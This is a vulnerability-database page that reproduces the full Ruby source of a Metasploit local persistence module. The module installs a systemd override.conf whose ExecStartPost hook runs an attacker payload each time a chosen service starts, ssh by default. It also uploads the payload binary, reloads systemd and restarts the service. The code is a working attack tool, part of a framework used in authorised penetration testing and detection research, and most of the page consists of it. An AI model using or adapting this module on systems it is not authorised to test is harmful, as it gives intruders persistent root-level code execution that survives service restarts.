Lucene search
K

Service SystemD override.conf Persistence

🗓️ 26 Sep 2025 18:57:12Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 743 Views

Creates a systemd override.conf to run a payload after start, requiring root on Ubuntu 22.04.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service SystemD override.conf Persistence',
        'Description' => %q{
          This module will create an override.conf file for a SystemD service on the box.
          The ExecStartPost hook is used to launch the payload after the service is started.
          We need enough access (typically root) to write in the /etc/systemd/system
          directory and potentially restart services.
          Verified on Ubuntu 22.04
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => ['unix', 'linux'],
        'Privileged' => true,
        'Targets' => [
          ['systemd', {}],
          ['systemd user', {}]
        ],
        'DefaultTarget' => 0,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
          ['URL', 'https://askubuntu.com/a/659268'],
          ['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '2010-03-30' # systemd release date
      )
    )

    register_options(
      [
        OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
      ]
    )
    register_advanced_options(
      [
        OptBool.new('ReloadService', [true, 'Reload the service', true])
      ]
    )
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')

    root_dir = '/lib/systemd/system/'
    service_file = "#{root_dir}#{datastore['SERVICE']}.service"

    return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)

    service_root_dir = '/etc/systemd/system/'
    service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
    override_conf = "#{service_dir}/override.conf"

    if directory?(service_dir)
      return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
      return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
    else
      return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
    end

    CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
  end

  def install_persistence
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')

    service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
    override_conf = "#{service_dir}/override.conf"

    unless exists?(service_dir)
      vprint_status("Creating #{service_dir}")
      create_process('mkdir', args: ['-p', service_dir])
    end

    if exists?(override_conf)
      conf = read_file(override_conf)
      backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
      vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
      @clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
    else
      @clean_up_rc << "rm #{override_conf}\n"
    end

    if payload.arch.first == 'cmd'
      p_load = payload.encoded
      p_load = ' &' unless p_load.end_with?('&')
      contents = <<~OVERRIDE
        [Service]
        ExecStartPost=/bin/sh -c '#{p_load}'
      OVERRIDE
    else
      payload_path = writable_dir
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
      payload_path << payload_name
      print_status("Uploading payload file to #{payload_path}")
      upload_and_chmodx payload_path, generate_payload_exe
      contents = <<~OVERRIDE
        [Service]
        ExecStartPost=/bin/sh -c '#{payload_path} &'
      OVERRIDE
    end

    vprint_status("Writing override file to: #{override_conf}")
    write_file(override_conf, contents)

    # This was taken from pam_systemd(8)
    systemd_socket_id = cmd_exec('id -u')
    systemd_socket_dir = "/run/user/#{systemd_socket_id}"
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")

    @clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
    @clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""

    if datastore['ReloadService']
      vprint_status("Reloading #{datastore['SERVICE']} service")
      cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2026 19:01Current
5.8Medium risk
Vulners AI Score5.8
743